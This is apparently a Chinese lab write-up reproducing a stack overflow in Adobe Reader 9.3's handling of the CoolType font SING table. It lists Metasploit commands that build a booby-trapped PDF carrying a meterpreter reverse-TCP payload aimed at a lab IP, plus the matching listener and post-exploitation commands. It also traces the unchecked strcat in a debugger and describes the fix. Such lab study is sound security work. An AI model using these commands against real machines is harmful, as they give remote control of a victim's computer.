@TOC

简介

Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行。
环境:
adobe reader 9.3
kali (虚拟机)
winxp(靶机)

漏洞复现

1生成pdf木马文件

1
2
3
4
5
6
7
8
9
msfconsole #进入mfs
search adobe_cooltype_sing #搜索模块
use exploit/windows/fileformat/adobe_cooltype_sing/ #调用模块
info #查看信息
set payload windows/meterpreter/reverse_tcp #调用meterpreter载荷,反向连接到渗透机
set LHOST 192.168.244.146 #kali ip
set LPORT 8888 #端口
set FILENAME PINGINGLAB.pdf #设置带有后门程序的PDF文件
exploit #生成pdf

2 Metasploit开启shell监听会话,等待winxp打开pdf

1
2
3
4
5
use exploit/multi/handler #回弹一个tcp连接
set payload windows/meterpreter/reverse_tcp #调用meterpreter载荷,反向连接到渗透机
set LHOST 192.168.244.146 #kali ip
set LPORT 8888 #端口
exploit #监听

3 xp用adobe reader 9.3打开生成好的pdf
在这里插入图片描述
发现卡住,回到kali上,发现已经拿到shell
(这里我用win7做靶机,发现程序会一下子就崩掉,来不及反应,所以可能会拿不到shell)
在这里插入图片描述
4后渗透命令

1
2
3
4
5
6
sysinfo #查看系统信息
getuid #查看当前用户
screenshot #截屏
ps #获取进程
migrate 1234 #切换进程
shell C:\Windows\system32>ipconfig #获取dos shell

原理分析

用ida反编译coolType.dll 查找SING 定位到关键代码
可以发现是因为stract引发的栈溢出漏洞(没有检查长度)
在这里插入图片描述
在这里插入图片描述
用od附加adobe reader 9.3
搜索coolType.dll 再搜索sing字符串 定位到关键代码
下断点
在这里插入图片描述拖入之前生成好的pdf,暂停在断点处
在这里插入图片描述ecx之前说是sing表的入口,
ecx这里是fce2a0 指向044c2c20
查看044c2c20内存
在这里插入图片描述
在这里插入图片描述
执行完call指令后,eax的内存又是什么
在这里插入图片描述
这里我们用pdfstreamdumper 取出ttf文件 010打开
在这里插入图片描述第一次的内存就是开头,也就是ttf表的起始位置
第二次的内存是我们数据的位置
在这里插入图片描述
也就是说现在eax是我们的数据位置
吧程序断在stract函数前,观察入栈的两个参数
在这里插入图片描述046582c0 是我们的数据+0x10 也就是uniqueName域的数据
00fce2c4 是ebp指向的地址
继续执行stract后,发现栈上的数据都被覆盖了,这下就可以构造我们的pop链
在这里插入图片描述
后面的pop链就用了一些乱七八糟的技术,可以参考最后的链接

漏洞修复

把stract函数换成一个自定义的函数,函数里面判断了长度
在这里插入图片描述

参考链接

原理
复现